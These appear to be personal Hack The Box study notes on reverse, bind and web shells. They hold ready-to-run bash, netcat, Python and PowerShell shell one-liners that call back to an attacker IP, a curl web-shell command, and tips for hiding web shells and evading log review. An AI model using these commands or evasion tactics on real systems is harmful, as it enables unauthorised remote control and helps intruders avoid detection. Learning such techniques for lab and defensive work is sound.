Skip to content

12th_Dec_25_shells.txt

File: htb/daily_notes/12th_Dec_25_shells.txt

reverse shell

reverse shell connects back to the localhost/attacker machine from the compromised machine

start a netcat on localhost
nc -lvnp 1234

on the compromised host start a connection back:
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"

Once the reverse shell command is stopped, or if we lose our connection for any reason, we would have to use the initial exploit to execute the reverse shell command again to regain our access.

---

bind shell
local host/attack machine connects to the compromised machine
the compromised machine NEEDS to have an open port to connect to

on localhost/attacker machine run:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f


python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'


powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();



web shell

upload a shell file on the server root e.g./var/www/html/shell.php

curl http://SERVER_IP:PORT/shell.php?cmd=id

run shell commands via web http requests

---


Shell Types - Direct Breakdown
Reverse Shell

Target connects BACK to you
You run a listener, target initiates connection to your machine
Pros: Bypasses firewalls (outbound traffic usually allowed), most common in pentesting
Cons: Needs your IP reachable, can be blocked by egress filtering

Bind Shell

Target opens a port and waits for YOU to connect
Target listens, you initiate connection to target
Pros: Simple, stable connection
Cons: Firewalls block inbound connections (rarely works in real scenarios), target port must be accessible

Web Shell

Code uploaded to web server (PHP, ASP, JSP file)
You send commands via HTTP requests through browser/curl
Pros: Uses existing web traffic (port 80/443), harder to detect, persistent, works through proxies
Cons: Limited interactivity, slower, needs web server with upload vulnerability

When to Use What
Reverse Shell: 90% of the time. Default choice because:

Most networks allow outbound connections
Target's firewall is protecting inbound, not outbound
Standard in CTFs and real engagements

Bind Shell: Rare. Only when:

You can't receive connections (behind NAT you don't control)
Target has no outbound filtering (unusual)
Specific exploit only supports bind shells

Web Shell: When:

You have file upload on web server but can't get reverse shell working
Need persistence (survives reboots if file stays)
Network inspection blocks shell traffic but HTTP is fine
Initial foothold before upgrading to reverse shell

Real scenario flow: Upload web shell → test command execution → upgrade to reverse shell for better control

----

web shell weakness:

Log Visibility
What gets logged:

Every request to your shell file in web server access logs
Your IP address hitting /uploads/shell.php repeatedly
POST parameters (sometimes - depends on server config)
Timestamps showing repeated access to same file

Why this matters:

Blue team reviews logs → sees 200 requests to suspicious file
Pattern recognition: same IP, same endpoint, unusual POST data
Easy to spot if anyone's actually monitoring

Evasion Tactics (real-world)
Filename tricks:

Name it like legitimate file: config.php, db-backup.php, index.old.php
Hide in common directories with lots of traffic
Blend with existing files

Reduce request frequency:

Don't spam it - make each command count
Use it for initial recon only, then upgrade to reverse shell
Reverse shell = one log entry vs. hundreds for web shell

Advanced (outside HTB basics):

Encrypt/encode commands so logs show garbage
Use existing legitimate endpoints (memory-only shells)
Route through VPN/proxies to obscure source IP

Bottom Line
Web shells are loud. They work because:

Many orgs don't monitor logs actively
High traffic sites = your requests buried in noise
You're faster than their detection/response

But against competent blue team? Web shell activity = big red flag.
HTB context: Labs don't have active defenders reviewing logs, so you're fine. Real pentests? Get web shell → immediately upgrade to reverse shell → delete web shell if possible.